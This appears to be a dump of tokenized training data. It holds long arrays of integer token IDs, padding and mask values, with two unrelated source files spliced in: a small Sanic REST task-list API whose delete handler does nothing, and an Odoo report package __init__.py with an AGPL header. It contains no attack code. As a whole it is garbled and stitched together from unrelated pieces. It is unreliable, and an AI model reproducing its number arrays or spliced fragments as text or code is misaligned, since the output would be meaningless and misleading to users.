63, 1045, 63, 4087, 63, 2991, 14, 2424, 7, 26892, 19688, 199, 3, 17654, 26, 5817, 7242, 334, 2703, 304, 199, 3, 17654, 13, 21917, 26, 1553, 199, 3, 17654, 13, 21917, 26, 282, 1004, 543, 4875, 2644, 26, 199, 3, 17654, 26, 1553, 199, 199, 3, 17654, 26, 21705, 26, 1033, 396, 13, 908, 3800, 5957, 63, 5641, 15, 1529, 14, 2424, 199, 199, 3, 17654, 26, 10341, 26, 1033, 396, 13, 908, 3800, 2449, 14, 2424, 199, 3, 17654, 13, 21917, 26, 19688, 7393, 283, 609, 396, 13, 908, 3800, 2449, 14, 2424, 7, 26892, 19688, 199, 3, 17654, 13, 21917, 26, 14914, 26, 199, 3, 17654, 13, 21917, 26, 1553, 199, 3, 17654, 13, 21917, 26, 870, 70, 298, 604, 413, 199, 3, 17654, 13, 21917, 26, 3055, 199, 3, 17654, 13, 21917, 26, 1553, 199, 3, 17654, 13, 21917, 26, 18704, 5495, 26, 413, 199, 3, 199, 3, 17654, 26, 5817, 7242, 334, 2703, 304, 199, 3, 17654, 13, 21917, 26, 1553, 199, 3, 17654, 13, 21917, 26, 5817, 378, 26, 298, 19139, 2, 199, 3, 17654, 13, 21917, 26, 5817, 378, 10695, 26, 378, 199, 3, 17654, 13, 21917, 26, 5817, 378, 7242, 26, 199, 3, 17654, 13, 21917, 26, 1004, 413, 26, 3405, 511, 1072, 641, 3839, 199, 3, 17654, 13, 21917, 26, 1004, 499, 26, 3405, 511, 1072, 641, 3839, 199, 199, 3, 17654, 26, 6778, 3830, 2228, 14112, 26, 1033, 396, 13, 908, 3800, 949, 13, 396, 13, 604, 14, 2424, 199, 3, 17654, 26, 21705, 26, 1033, 396, 13, 908, 3800, 986, 14, 2424, 199, 3, 17654, 26, 32708, 2160, 3657, 1149, 26, 1033, 396, 13, 908, 3800, 5074, 13, 4752, 14, 2424, 199, 3, 17654, 26, 21705, 26, 1033, 396, 13, 908, 3800, 5074, 13, 1881, 14, 2424, 199, 3, 17654, 26, 32708, 2160, 3657, 1149, 26, 1033, 396, 13, 908, 3800, 16313, 63, 694, 15, 3972, 13, 396, 14, 2424, 199, 3, 17654, 26, 1323, 8784, 26, 1033, 396, 13, 908, 3800, 671, 1633, 13, 4445, 14, 2424, 199, 3, 17654, 26, 1323, 8784, 26, 1033, 396, 13, 908, 3800, 671, 1633, 13, 1375, 14, 2424, 199, 3, 17654, 26, 1323, 8784, 26, 1033, 396, 13, 908, 3800, 671, 1633, 14, 2424, 199, 3, 17654, 26, 1323, 6909, 26, 1033, 396, 13, 908, 3800, 671, 1529, 14, 2424, 199, 3, 17654, 13, 21917, 26, 19688, 7393, 283, 609, 396, 13, 908, 3800, 671, 1529, 14, 2424, 7, 26892, 19688, 199, 3, 17654, 13, 21917, 26, 14914, 199, 3, 17654, 13, 21917, 26, 1553, 199, 3, 17654, 13, 21917, 26, 2549, 199, 3, 17654, 13, 21917, 26, 1553, 199, 3, 17654, 26, 11940, 4703, 199, 199, 3, 17654, 26, 25345, 31755, 6496, 334, 17, 9, 199, 3, 17654, 26, 1033, 396, 13, 908, 3800, 671, 1529, 14, 2424, 199, 199, 3, 17654, 26, 12176, 316, 6496, 334, 19, 9, 199, 3, 17654, 26, 1033, 396, 13, 908, 3800, 5957, 63, 5641, 15, 1633, 14, 2424, 199, 3, 17654, 26, 1033, 396, 13, 908, 3800, 5957, 63, 5641, 15, 1633, 63, 1045, 63, 4087, 63, 2991, 14, 2424, 199, 3, 17654, 26, 1033, 396, 13, 908, 3800, 2449, 14, 2424, 199, 199, 3, 17654, 26, 13796, 510, 1916, 259, 520, 841, 199, 3, 17654, 26, 13796, 12176, 1482, 221, 520, 650, 199, 3, 17654, 26, 19022, 6496, 221, 520, 499, 199, 3, 17654, 26, 1910, 13697, 6496, 257, 520, 413, 199, 3, 17654, 26, 25345, 510, 1916, 221, 520, 413, 199, 3, 17654, 26, 25345, 12176, 1482, 26, 650, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
dsvalenciah/sanic-rest
app.py
1
2542
# bultin library from uuid import uuid4 # external libraries from sanic import Sanic from sanic.views import HTTPMethodView from sanic.response import json from sanic_cors import CORS app = Sanic() """ POST /tasks GET /tasks GET /task/<id> PUT /task/<id> """ DATOS = {} class TaskList(HTTPMethodView): def post(self, request): """ Create a task out of the post json body. """ print(request.json) title = request.json.get('title') if not title: return json({ 'error': { 'code': 'TITLE_REQUIRED', 'message': 'The title field is required', } }, status=400) uid = uuid4().hex task = { 'title': title, 'id': uid, 'done': False, } DATOS.update({uid: task}) return json(task, status=201) def get(self, request): """ Lists all the tasks available, could support pagination. """ return json({ 'data': DATOS, }) def options(self, request): return json({}) class Task(HTTPMethodView): def get(self, request, task): """ Shows the details of an individual task. """ task = DATOS.get(task) if task is None: return json({ 'error': { 'code': 'TASK_NOT_FOUND', 'message': 'That task was not found', } }, status=404) return json(task) def put(self, request, task): task = DATOS.get(task) if task is None: return json({ 'error': { 'code': 'TASK_NOT_FOUND', 'message': 'That task was not found', } }, status=404) print(request.json) task.update({ 'title': request.json.get('title', task['title']), 'done': request.json.get('done', task['done']), }) DATOS.update({task['id']: task}) return json(task, status=201) def delete(self, request, task): """ Delete a task from the database. """ return json({}) def options(self, request, task): return json({}) CORS(app) app.add_route(TaskList.as_view(), '/tasks') CORS(app) app.add_route(Task.as_view(), '/tasks/<task>') if __name__ == '__main__': app.run( debug=True, host="127.0.0.1", port=8000 )
mit
[ 3, 330, 427, 262, 3555, 199, 504, 5377, 492, 5377, 20, 199, 199, 3, 5957, 8363, 199, 504, 28698, 530, 492, 29359, 530, 199, 504, 28698, 530, 14, 4196, 492, 3101, 3767, 2768, 199, 504, 28698, 530, 14, 1310, 492, 2022, 199, 504, 28698, 530, 63, 30967, 492, 445, 4149, 199, 199, 571, 275, 29359, 530, 342, 199, 199, 624, 199, 4030, 1182, 5054, 199, 2970, 1182, 5054, 199, 2970, 1182, 1765, 8316, 344, 30, 199, 4013, 1182, 1765, 8316, 344, 30, 199, 624, 421, 199, 6521, 3100, 275, 1052, 421, 199, 533, 8495, 1296, 8, 2856, 3767, 2768, 304, 339, 347, 2963, 8, 277, 12, 1056, 304, 267, 408, 267, 2790, 282, 2120, 734, 402, 314, 2963, 2022, 2396, 14, 267, 408, 267, 870, 8, 1069, 14, 1001, 9, 267, 2538, 275, 1056, 14, 1001, 14, 362, 360, 1213, 358, 398, 340, 440, 2538, 26, 288, 372, 2022, 2561, 355, 283, 705, 356, 469, 490, 283, 600, 356, 283, 19091, 63, 12496, 297, 490, 283, 1188, 356, 283, 1918, 2538, 901, 365, 1415, 297, 355, 789, 288, 1660, 2004, 29, 5303, 9, 398, 1747, 275, 5377, 20, 1252, 4097, 267, 2120, 275, 469, 288, 283, 1213, 356, 2538, 12, 288, 283, 344, 356, 1747, 12, 288, 283, 4456, 356, 756, 12, 267, 789, 267, 17971, 3100, 14, 873, 2561, 1535, 26, 2120, 1552, 267, 372, 2022, 8, 1765, 12, 2004, 29, 1797, 9, 339, 347, 664, 8, 277, 12, 1056, 304, 267, 408, 267, 31289, 1006, 314, 6527, 2808, 12, 4293, 2291, 21192, 14, 267, 408, 267, 372, 2022, 2561, 288, 283, 576, 356, 17971, 3100, 12, 267, 3828, 339, 347, 1511, 8, 277, 12, 1056, 304, 267, 372, 2022, 14079, 421, 199, 533, 8495, 8, 2856, 3767, 2768, 304, 339, 347, 664, 8, 277, 12, 1056, 12, 2120, 304, 267, 408, 267, 12968, 83, 314, 2436, 402, 376, 8212, 2120, 14, 267, 408, 267, 2120, 275, 17971, 3100, 14, 362, 8, 1765, 9, 267, 340, 2120, 365, 488, 26, 288, 372, 2022, 2561, 355, 283, 705, 356, 469, 490, 283, 600, 356, 283, 17179, 63, 4609, 63, 13945, 297, 490, 283, 1188, 356, 283, 17231, 2120, 1990, 440, 1911, 297, 355, 789, 288, 1660, 2004, 29, 5188, 9, 267, 372, 2022, 8, 1765, 9, 339, 347, 5324, 8, 277, 12, 1056, 12, 2120, 304, 267, 2120, 275, 17971, 3100, 14, 362, 8, 1765, 9, 267, 340, 2120, 365, 488, 26, 288, 372, 2022, 2561, 355, 283, 705, 356, 469, 490, 283, 600, 356, 283, 17179, 63, 4609, 63, 13945, 297, 490, 283, 1188, 356, 283, 17231, 2120, 1990, 440, 1911, 297, 355, 789, 288, 1660, 2004, 29, 5188, 9, 267, 870, 8, 1069, 14, 1001, 9, 267, 2120, 14, 873, 2561, 288, 283, 1213, 356, 1056, 14, 1001, 14, 362, 360, 1213, 297, 2120, 459, 1213, 3815, 288, 283, 4456, 356, 1056, 14, 1001, 14, 362, 360, 4456, 297, 2120, 459, 4456, 3815, 267, 3828, 267, 17971, 3100, 14, 873, 2561, 1765, 459, 344, 2565, 2120, 1552, 267, 372, 2022, 8, 1765, 12, 2004, 29, 1797, 9, 339, 347, 3145, 8, 277, 12, 1056, 12, 2120, 304, 267, 408, 267, 8496, 282, 2120, 687, 314, 3050, 14, 267, 408, 267, 372, 2022, 14079, 339, 347, 1511, 8, 277, 12, 1056, 12, 2120, 304, 267, 372, 2022, 14079, 421, 199, 35, 4149, 8, 571, 9, 199, 571, 14, 525, 63, 4449, 8, 4476, 1296, 14, 305, 63, 1345, 1062, 1994, 5054, 358, 199, 35, 4149, 8, 571, 9, 199, 571, 14, 525, 63, 4449, 8, 4476, 14, 305, 63, 1345, 1062, 1994, 5054, 8316, 1765, 5971, 199, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 1145, 14, 1065, 8, 267, 3105, 29, 549, 12, 267, 1591, 628, 4195, 14, 16, 14, 16, 14, 17, 401, 267, 1844, 29, 15214, 272, 776, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 330, 427, 262, 3555, 199, 504, 5377, 492, 5377, 20, 199, 199, 3, 5957, 8363, 199, 504, 28698, 530, 492, 29359, 530, 199, 504, 28698, 530, 14, 4196, 492, 3101, 3767, 2768, 199, 504, 28698, 530, 14, 1310, 492, 2022, 199, 504, 28698, 530, 63, 30967, 492, 445, 4149, 199, 199, 571, 275, 29359, 530, 342, 199, 199, 624, 199, 4030, 1182, 5054, 199, 2970, 1182, 5054, 199, 2970, 1182, 1765, 8316, 344, 30, 199, 4013, 1182, 1765, 8316, 344, 30, 199, 624, 421, 199, 6521, 3100, 275, 1052, 421, 199, 533, 8495, 1296, 8, 2856, 3767, 2768, 304, 339, 347, 2963, 8, 277, 12, 1056, 304, 267, 408, 267, 2790, 282, 2120, 734, 402, 314, 2963, 2022, 2396, 14, 267, 408, 267, 870, 8, 1069, 14, 1001, 9, 267, 2538, 275, 1056, 14, 1001, 14, 362, 360, 1213, 358, 398, 340, 440, 2538, 26, 288, 372, 2022, 2561, 355, 283, 705, 356, 469, 490, 283, 600, 356, 283, 19091, 63, 12496, 297, 490, 283, 1188, 356, 283, 1918, 2538, 901, 365, 1415, 297, 355, 789, 288, 1660, 2004, 29, 5303, 9, 398, 1747, 275, 5377, 20, 1252, 4097, 267, 2120, 275, 469, 288, 283, 1213, 356, 2538, 12, 288, 283, 344, 356, 1747, 12, 288, 283, 4456, 356, 756, 12, 267, 789, 267, 17971, 3100, 14, 873, 2561, 1535, 26, 2120, 1552, 267, 372, 2022, 8, 1765, 12, 2004, 29, 1797, 9, 339, 347, 664, 8, 277, 12, 1056, 304, 267, 408, 267, 31289, 1006, 314, 6527, 2808, 12, 4293, 2291, 21192, 14, 267, 408, 267, 372, 2022, 2561, 288, 283, 576, 356, 17971, 3100, 12, 267, 3828, 339, 347, 1511, 8, 277, 12, 1056, 304, 267, 372, 2022, 14079, 421, 199, 533, 8495, 8, 2856, 3767, 2768, 304, 339, 347, 664, 8, 277, 12, 1056, 12, 2120, 304, 267, 408, 267, 12968, 83, 314, 2436, 402, 376, 8212, 2120, 14, 267, 408, 267, 2120, 275, 17971, 3100, 14, 362, 8, 1765, 9, 267, 340, 2120, 365, 488, 26, 288, 372, 2022, 2561, 355, 283, 705, 356, 469, 490, 283, 600, 356, 283, 17179, 63, 4609, 63, 13945, 297, 490, 283, 1188, 356, 283, 17231, 2120, 1990, 440, 1911, 297, 355, 789, 288, 1660, 2004, 29, 5188, 9, 267, 372, 2022, 8, 1765, 9, 339, 347, 5324, 8, 277, 12, 1056, 12, 2120, 304, 267, 2120, 275, 17971, 3100, 14, 362, 8, 1765, 9, 267, 340, 2120, 365, 488, 26, 288, 372, 2022, 2561, 355, 283, 705, 356, 469, 490, 283, 600, 356, 283, 17179, 63, 4609, 63, 13945, 297, 490, 283, 1188, 356, 283, 17231, 2120, 1990, 440, 1911, 297, 355, 789, 288, 1660, 2004, 29, 5188, 9, 267, 870, 8, 1069, 14, 1001, 9, 267, 2120, 14, 873, 2561, 288, 283, 1213, 356, 1056, 14, 1001, 14, 362, 360, 1213, 297, 2120, 459, 1213, 3815, 288, 283, 4456, 356, 1056, 14, 1001, 14, 362, 360, 4456, 297, 2120, 459, 4456, 3815, 267, 3828, 267, 17971, 3100, 14, 873, 2561, 1765, 459, 344, 2565, 2120, 1552, 267, 372, 2022, 8, 1765, 12, 2004, 29, 1797, 9, 339, 347, 3145, 8, 277, 12, 1056, 12, 2120, 304, 267, 408, 267, 8496, 282, 2120, 687, 314, 3050, 14, 267, 408, 267, 372, 2022, 14079, 339, 347, 1511, 8, 277, 12, 1056, 12, 2120, 304, 267, 372, 2022, 14079, 421, 199, 35, 4149, 8, 571, 9, 199, 571, 14, 525, 63, 4449, 8, 4476, 1296, 14, 305, 63, 1345, 1062, 1994, 5054, 358, 199, 35, 4149, 8, 571, 9, 199, 571, 14, 525, 63, 4449, 8, 4476, 14, 305, 63, 1345, 1062, 1994, 5054, 8316, 1765, 5971, 199, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 1145, 14, 1065, 8, 267, 3105, 29, 549, 12, 267, 1591, 628, 4195, 14, 16, 14, 16, 14, 17, 401, 267, 1844, 29, 15214, 272, 776, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
npiganeau/odoo
addons/crm_partner_assign/report/__init__.py
443
1096
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## import crm_lead_report import crm_partner_report # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 6542, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 646, 2467, 77, 63, 13799, 63, 3070, 199, 646, 2467, 77, 63, 3899, 63, 3070, 421, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 